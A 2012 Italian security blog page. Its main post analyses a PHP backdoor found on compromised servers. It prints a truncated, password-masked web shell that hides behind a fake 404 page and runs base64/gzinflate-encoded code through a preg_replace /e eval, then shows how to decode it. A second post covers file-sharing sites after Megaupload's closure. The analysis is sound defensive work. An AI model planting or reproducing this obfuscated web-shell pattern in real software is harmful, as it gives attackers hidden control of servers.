domenica 29 gennaio 2012

Php backdoor

Una buona percentuale di compromissioni di server avviene sempre con il buon vecchio metodo dell'upload di una backdoor php tramite qualche script bacato.

Quando su richiesta di un cliente mi trovo a che fare con una intrusione la tipologia di backdoor php che mi capita di trovare più spesso, con diverse varianti, è questa:
------------------------------------------------------


$pass='********************************';
if($_GET['v']){
$auth_pass = "*******************************************";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x
28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQ
oMx4CQnxYY4cezEebFTvyRp4tx0gQW2Xli6u5i4qb/7PTN6WWlfME57rut+fk/OacJKo9FIGo1Go9HIG
5bX3cksvi6Xuqf7J+/3Tz7bL8/O3nXP4av79MX+0Zn9pVJh39YY/CnNIzd8OnKnccTazAlD57psvQiCk
e9aVWad+vNwhj/enh49C2L85TldJ+yPvSs3xM/fnOnA/Yq/TpxJz4fEyjZh9oblWeiOuhMn7o/L9qbNa
sybzPxg4Jbtv+2qXnUF8uxNDxNXoBn/jF1n4IZlgtps1OrsQf0BOwpidhDMpwNb0IB/3K9ezL9u1m7W1
(rimozione di gran parte del codice codificato che non riporto per brevità)
ccSJoT2GJgBZp+6/cPpMLDJjyttlnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");
}
 echo '  
 <title>Server Error...</title>  
 <h1>  
 404 Not Found</h1>  
 The request was not found on this server.  
';
------------------------------------------------------

Come funziona:

vengono definiti all'inizio una password nella variabile $pass e il corrispondente hash md5 della stessa password nella variabile $auth_pass , le password sono oscurate da me con asterischi in questo esempio.

La password viene utilizzata per accedere alla backdoor tramite una GET http "nomebackdoor.php?v=******" sbagliando la password si ottiene un errore 404 http.


Con la funzione preg_replace si utilizza come pattern di ricerca "/.*/" associato al pattern modifiers "e" che serve per interpretare tutto il codice sostituito come codice php, in modo da sostituire tutto il codice codificato all'interno del secondo campo del preg_replace al posto di ciò che è indicato al terzo campo e cioè "." che sta a significare tutto il campo.

Il campo utilizzato per la sostituzione inizia e finisce con una stringa esadecimale:

inizio: \x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

fine: \x29\x29\x29\x3B

Vediamo il significato:

echo -e "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28" | awk '{printf "%s\n", $_}'

risultato: eval(gzinflate(base64_decode(

echo -e "\x29\x29\x29\x3B" | awk '{printf "%s\n", $_}'

risultato: )));

Abbiamo quindi convertito le stringhe esadecimali ottenendo:

eval(gzinflate(base64_decode( )));

All'interno delle parentisi c'e' tutto il resto dei caratteri codificati semplicemente in base64, quindi adesso siamo in grado di decodificare completamente lo script.

Rimuovendo la parte iniziale dello script e sostituendo l'espressione eval con un echo:

echo(gzinflate(base64_decode('5b19fxq30jD8d/wp5C3tQoMx4CQnxYY4cezEebFTvyRp4tx0gQW2Xli6u5i4qb/7PTN6WWlfME57rut+fk/OacJKo9FIGo1Go9HIG5bX3cksvi6Xuqf7J+/3Tz7bL8/O3nXP4av79MX+0Zn9pVJh39YY
(rimozione codice codificato che non riporto per brevità)
)));


possiamo poi eseguire lo script php da linea di comando ottenendo il core dello script decodificato, circa 1500 linee di codice, che per questioni di spazio potrete consultare cliccando qui.


Osservando il sorgente si nota che l'autenticazione per l'accesso alla backdoor è eseguita
confrontando il valore md5 di $pass con quello di $auth_pass.

Tra le tante funzionalità che si possono osservare file php, compaiono anche altri due pezzi di codici codificati in base64 relativi ad una backdoor perl eseguibile tramite lo stesso script.

Lascio a voi l'esercizio di decodifica se siete curiosi di sapere cosa fanno.

martedì 24 gennaio 2012

Megaupload, this is the end (seconda parte)

Come pronosticato nel precedente post relativo alla chiusura di Megaupload, ma con netto anticipo rispetto a quanto potessi immaginare, tutti i più importanti servizi di filesharing via web hanno cambiato termini di servizio non consentendo più la condivisione dei contenuti uploadati da un utente.

In effetti non c'e' da stupirsi dato che il modello di business dei vari fileserve, filesonic, hotfile, etc è identico a quello realizzato da Kim Dotcom.

Quando il Federal Bureau of Investigation si muove fa paura.

Credo però che non sarà finita qui, e probabilmente ci sarà chi è già all'opera
per spostare le proprie piattaforme in paesi meno rigidi in termini di copyright,
ovviamente dovranno spostare anche la residenza i rispettivi proprietari.